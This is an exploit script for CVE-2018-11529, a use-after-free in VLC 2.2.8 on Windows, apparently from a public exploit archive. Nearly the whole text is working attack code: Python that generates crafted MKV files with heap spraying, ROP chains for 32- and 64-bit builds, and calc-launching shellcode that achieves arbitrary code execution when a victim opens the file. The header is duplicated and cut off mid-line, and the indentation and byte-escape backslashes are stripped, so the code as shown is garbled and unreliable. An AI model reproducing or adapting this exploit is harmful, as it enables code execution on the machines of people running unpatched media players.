Message Classification: Restricted
# Exploit Title: VLC media player 2.2.8 Arbitrary Code Execution PoC
# Date: 6-6-2018
# Exploit Author: Eugene Ng
# Vendor Homepage: https://www. Message Classification: Restricted
# Exploit Title: VLC media player 2.2.8 Arbitrary Code Execution PoC
# Date: 6-6-2018
# Exploit Author: Eugene Ng
# Vendor Homepage: https://www.videolan.org/vlc/index.html
# Software Link: http://download.videolan.org/pub/videolan/vlc/2.2.8/win64/vlc-2.2.8-win64.exe
# Version: 2.2.8
# Tested on: Windows 10 x64
# CVE: CVE-2018-11529
#
# 1. Description
#
# VLC media player through 2.2.8 is prone to a Use-After-Free (UAF) vulnerability. This issue allows
# an attacker to execute arbitrary code in the context of the logged-in user via crafted MKV files. Failed
# exploit attempts will likely result in denial of service conditions.
#
# Exploit can work on both 32 bits and 64 bits of VLC media player.
#
# 2. Proof of Concept
#
# Generate MKV files using python
# Open VLC media player
# Drag and drop poc.mkv into VLC media player (more reliable than double clicking)
#
# 3. Solution
#
# Update to version 3.0.3
# https://get.videolan.org/vlc/3.0.3/win64/vlc-3.0.3-win64.exe

import uuid
from struct import pack

class AttachedFile(object):
def __init__(self, data):
self.uid = 'x46xae' + data_size(8) + uuid.uuid4().bytes[:8]
self.name = 'x46x6e' + data_size(8) + uuid.uuid4().bytes[:8]
self.mime = 'x46x60' + data_size(24) + 'application/octet-stream'
self.data = 'x46x5c' + data_size(len(data)) + data
self.header = 'x61xa7' + data_size(len(self.name) + len(self.data) + len(self.mime) + len(self.uid))

def __str__(self):
return self.header + self.name + self.mime + self.uid + self.data

def to_bytes(n, length):
h = '%x' % n
s = ('0'*(len(h) % 2) + h).zfill(length*2).decode('hex')
return s

def data_size(number, numbytes=range(1, 9)):
# encode 'number' as an EBML variable-size integer.
size = 0
for size in numbytes:
bits = size*7
if number <= (1 << bits) - 2:
return to_bytes(((1 << bits) + number), size)
raise ValueError("Can't store {} in {} bytes".format(number, size))

def build_data(size, bits, version):
target_addresses = {
'64': 0x40000040,
'32': 0x22000020,
}
target_address = target_addresses[bits]

exit_pointers = {
'64': {
'2.2.8': 0x00412680,
},
'32': {
'2.2.8': 0x00411364,
}
}
pExit = exit_pointers[bits][version]

rop_gadgets = {
'64': {
'2.2.8': [
0x004037ac, # XCHG EAX,ESP # ROL BL,90H # CMP WORD PTR [RCX],5A4DH # JE VLC+0X37C0 (00000000`004037C0) # XOR EAX,EAX # RET
0x00403b60, # POP RCX # RET
target_address, # lpAddress
0x004011c2, # POP RDX # RET
0x00001000, # dwSize
0x0040ab70, # JMP VirtualProtect
target_address + 0x500, # Shellcode
],
},
'32': {
'2.2.8': [
0x0040ae91, # XCHG EAX,ESP # ADD BYTE PTR [ECX],AL # MOV EAX,DWORD PTR [EAX] # RET
0x00407086, # POP EDI # RETN [vlc.exe]
0x00000040, # 0x00000040-> edx
0x0040b058, # MOV EDX,EDI # POP ESI # POP EDI # POP EBP # RETN [vlc.exe]
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x41414141, # Filler (compensate)
0x004039c7, # POP EAX # POP ECX # RETN [vlc.exe]
0x22000030, # Filler (compensate) for rol [eax] below
0x41414141, # Filler (compensate)
0x004039c8, # POP ECX # RETN [vlc.exe]
0x0041193d, # &Writable location [vlc.exe]
0x00409d18, # POP EBX # RETN [vlc.exe]
0x00000201, # 0x00000201-> ebx
0x0040a623, # POP EBP # RETN [vlc.exe]
0x0040a623, # POP EBP # RETN [vlc.exe]
0x004036CB, # POP ESI # RETN [vlc.exe]
0x0040848c, # JMP ds:[EAX * 4 + 40e000] [vlc.exe]
0x00407086, # POP EDI # RETN [vlc.exe]
0x0040ae95, # MOV EAX,DWORD PTR [EAX] # RETN [vlc.exe]
0x0040af61, # PUSHAD # ROL BYTE PTR [EAX], 0FFH # LOOPNE VLC+0XAEF8 (0040AEF8)
target_address + 0x5e0, # Shellcode
],
}
}

if bits == '64':
target_address_packed = pack("<Q", target_addresses[bits])
rop_chain = ''.join(pack('<Q', _) for _ in rop_gadgets[bits][version])

# https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
# w64-exec-calc-shellcode-esp.bin
shellcode = (
"x66x83xe4xf0x50x6ax60x5ax68x63x61x6cx63x54x59x48"
"x29xd4x65x48x8bx32x48x8bx76x18x48x8bx76x10x48xad"
"x48x8bx30x48x8bx7ex30x03x57x3cx8bx5cx17x28x8bx74"
"x1fx20x48x01xfex8bx54x1fx24x0fxb7x2cx17x8dx52x02"
"xadx81x3cx07x57x69x6ex45x75xefx8bx74x1fx1cx48x01"
"xfex8bx34xaex48x01xf7x99xffxd7"
# add shellcode to avoid crashes by terminating the process
# xor rcx, rcx # mov rax, pExit # call [rax]
"x48x31xc9x48xc7xc0" + pack("<I", pExit) + "xffx10")

if size == 0x180:
UAF_object = 'x41'
while len(UAF_object) < size:
UAF_object += UAF_object
UAF_object = UAF_object[:size]
UAF_object = UAF_object[:0x30] + target_address_packed + UAF_object[0x38:]
UAF_object = UAF_object[:0x38] + pack("<Q", target_address + 0x10000) + UAF_object[0x40:]
UAF_object = UAF_object[:0x168] + pack("<Q", target_address + 0x3c0) + UAF_object[0x170:]
UAF_object = UAF_object[:0x170] + target_address_packed + UAF_object[0x178:]
return UAF_object
else:
block = 'x00'
block_size = 0x1000
while len(block) < block_size:
block += block
block = block[:block_size]
block = block[:0x0] + 'x41' * 4 + block[0x4:]
block = block[:0x8] + target_address_packed + block[0x10:]
block = block[:0x10] + target_address_packed + block[0x18:]
block = block[:0x40] + pack("<Q", 0x1) + block[0x48:]
block = block[:0x58] + pack("<Q", target_address + 0x3a8) + block[0x60:]
block = block[:0xE4] + pack("<Q", 0x1) + block[0xEC:]
block = block[:0x1b8] + pack("<Q", target_address + 0x80) + block[0x1c0:]
block = block[:0x3b8] + rop_chain + block[0x3b8+len(rop_chain):]
block = block[:0x500] + shellcode + block[0x500 + len(shellcode):]
block = block[:0x6d8] + pack("<Q", target_address + 0x10) + block[0x6e0:]
while len(block) < size:
block += block
return block[:size]
else:
target_address_packed = pack("<I", target_addresses[bits])
rop_chain = ''.join(pack('<I', _) for _ in rop_gadgets[bits][version])

# https://github.com/peterferrie/win-exec-calc-shellcode/tree/master/build/bin
# w32-exec-calc-shellcode.bin
shellcode = (
"x83xE4xFCx31xD2x52x68x63x61x6Cx63x54x59x52x51x64"
"x8Bx72x30x8Bx76x0Cx8Bx76x0CxADx8Bx30x8Bx7Ex18x8B"
"x5Fx3Cx8Bx5Cx1Fx78x8Bx74x1Fx20x01xFEx8Bx54x1Fx24"
"x0FxB7x2Cx17x42x42xADx81x3Cx07x57x69x6Ex45x75xF0"
"x8Bx74x1Fx1Cx01xFEx03x3CxAExFFxD7"
# add shellcode to avoid crashes by terminating the process
# xor eax, eax # push eax # mov eax, pExit # jmp eax
"x31xC0x50xA1" + pack("<I", pExit) + "xffxe0")

if size == 0x100:
UAF_object = 'x41'
while len(UAF_object) < size:
UAF_object += UAF_object
UAF_object = UAF_object[:size]
UAF_object = UAF_object[:0x28] + target_address_packed + UAF_object[0x2c:]
UAF_object = UAF_object[:0x2c] + pack("<I", target_address + 0x10000) + UAF_object[0x30:]
UAF_object = UAF_object[:0xf4] + pack("<I", target_address + 0x2bc) + UAF_object[0xf8:]
UAF_object = UAF_object[:0xf8] + target_address_packed + UAF_object[0xfc:]
return UAF_object
else:
block = 'x00'
block_size = 0x1000
while len(block) < block_size:
block += block
block = block[:block_size]
block = block[:0x0] + pack("<I", 0x22000040) + block[0x4:]
block = block[:0x4] + target_address_packed + block[0x8:]
block = block[:0x8] + target_address_packed + block[0xc:]
block = block[:0x10] + pack("<I", 0xc85) + block[0x14:]
block = block[:0x30] + pack("<I", 0x1) + block[0x34:]
block = block[:0xc0] + pack("<I", 0x1) + block[0xc4:]
block = block[:0x194] + pack("<I", 0x2200031c) + block[0x198:]
block = block[:0x2c0] + pack("<I", 0x220002e4) + block[0x2c4:]
block = block[:0x2f4] + pack("<I", 0x22000310) + block[0x2f8:]
block = block[:0x2f8] + rop_chain + block[0x2f8+len(rop_chain):]
block = block[:0x564] + pack("<I", 0x22000588) + block[0x568:]
block = block[:0x5e0] + shellcode + block[0x5e0+len(shellcode):]
while len(block) < size:
block += block
return block[:size]

def build_exploit(bits, version):
# EBML Header
DocType = "x42x82" + data_size(8) + "matroska"
EBML = "x1ax45xdfxa3" + data_size(len(DocType)) + DocType

# Seek Entries
SeekEntry = "x53xab" + data_size(4) # SeekID
SeekEntry += "x15x49xa9x66" # KaxInfo
SeekEntry += "x53xac" + data_size(2) + "xff" * 2 # SeekPosition + Index of Segment info
SeekEntries = "x4dxbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

SeekEntry = "x53xab" + data_size(4) # SeekID
SeekEntry += "x11x4dx9bx74" # KaxSeekHead
SeekEntry += "x53xac" + data_size(4) + "xff" * 4 # SeekPosition + Index of SeekHead
SeekEntries += "x4dxbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

SeekEntry = "x53xab" + data_size(4) # SeekID
SeekEntry += "x10x43xa7x70" # KaxChapters
SeekEntry += "x53xac" + data_size(4) + "xff" * 4 # SeekPosition + Index of Chapters
SeekEntries += "x4dxbb" + data_size(len(SeekEntry)) + SeekEntry # Seek Entry

# SeekHead
SeekHead = "x11x4dx9bx74" + data_size(len(SeekEntries)) + SeekEntries

# Void
Void = "xec" + data_size(2) + "x41" # Trigger bug with an out-of-order element

# Info
SegmentUID = "x73xa4" + data_size(16) + uuid.uuid4().bytes
Info = "x15x49xa9x66" + data_size(len(SegmentUID)) + SegmentUID

# Chapters
ChapterSegmentUID = "x6ex67" + data_size(16) + uuid.uuid4().bytes
ChapterAtom = "xb6" + data_size(len(ChapterSegmentUID)) + ChapterSegmentUID
EditionEntry = "x45xb9" + data_size(len(ChapterAtom)) + ChapterAtom
Chapters = "x10x43xa7x70" + data_size(len(EditionEntry)) + EditionEntry

if bits == '64':
size = 0x180
count = 60
else:
size = 0x100
count = 30

# Attachments
print "[+] Generating UAF objects...",
AttachedFiles = ""
for i in range(500):
AttachedFiles += str(AttachedFile(build_data(size, bits, version)))
Attachments = "x19x41xa4x69" + data_size(len(AttachedFiles)) + AttachedFiles
print "done"

# Cluster
print "[+] Generating payload...",
payload = build_data(0xfff000, bits, version)
SimpleBlocks = "xa3" + data_size(len(payload)) + payload
SimpleBlocksLength = len(SimpleBlocks) * count
Timecode = "xe7" + data_size(1) + "x00"
Cluster = "x1fx43xb6x75" + data_size(len(Timecode) + SimpleBlocksLength) + Timecode
print "done"

# Concatenate everything
SegmentData = SeekHead + Void + Info + Chapters + Attachments + Cluster
Segment = "x18x53x80x67" + data_size(len(SegmentData) + SimpleBlocksLength) + SegmentData
mkv = EBML + Segment

print "[+] Writing poc MKV...",
with open('poc.mkv', 'wb') as fp:
fp.write(mkv)
for i in range(count):
fp.write(SimpleBlocks)
print "done"

# Bug requires another MKV file in the same directory, hence we
# generate another 'minimally valid' MKV file that VLC will parse
# Also able to use any other valid MKV file...
auxi_mkv = mkv[:0x4f] + "x15x49xa9x66" + data_size(10) # Add some arbitrary size

print "[+] Writing auxiliary MKV...",
with open('auxi.mkv', 'wb') as fp:
fp.write(auxi_mkv)
print "done"

if __name__ == '__main__':
bits = '64' # 32 / 64
version = '2.2.8'

print "Building exploit for %s-bit VLC media player %s on Windows" % (bits, version)
build_exploit(bits, version)
print "Open VLC and drag and drop in poc.mkv"